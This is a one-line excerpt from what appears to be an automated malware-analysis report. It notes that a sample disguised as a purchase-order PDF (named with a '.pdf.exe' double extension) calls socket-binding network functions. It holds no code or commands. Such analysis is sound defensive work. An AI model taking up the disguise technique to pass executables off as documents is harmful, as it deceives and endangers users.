Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AC6747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00AC6747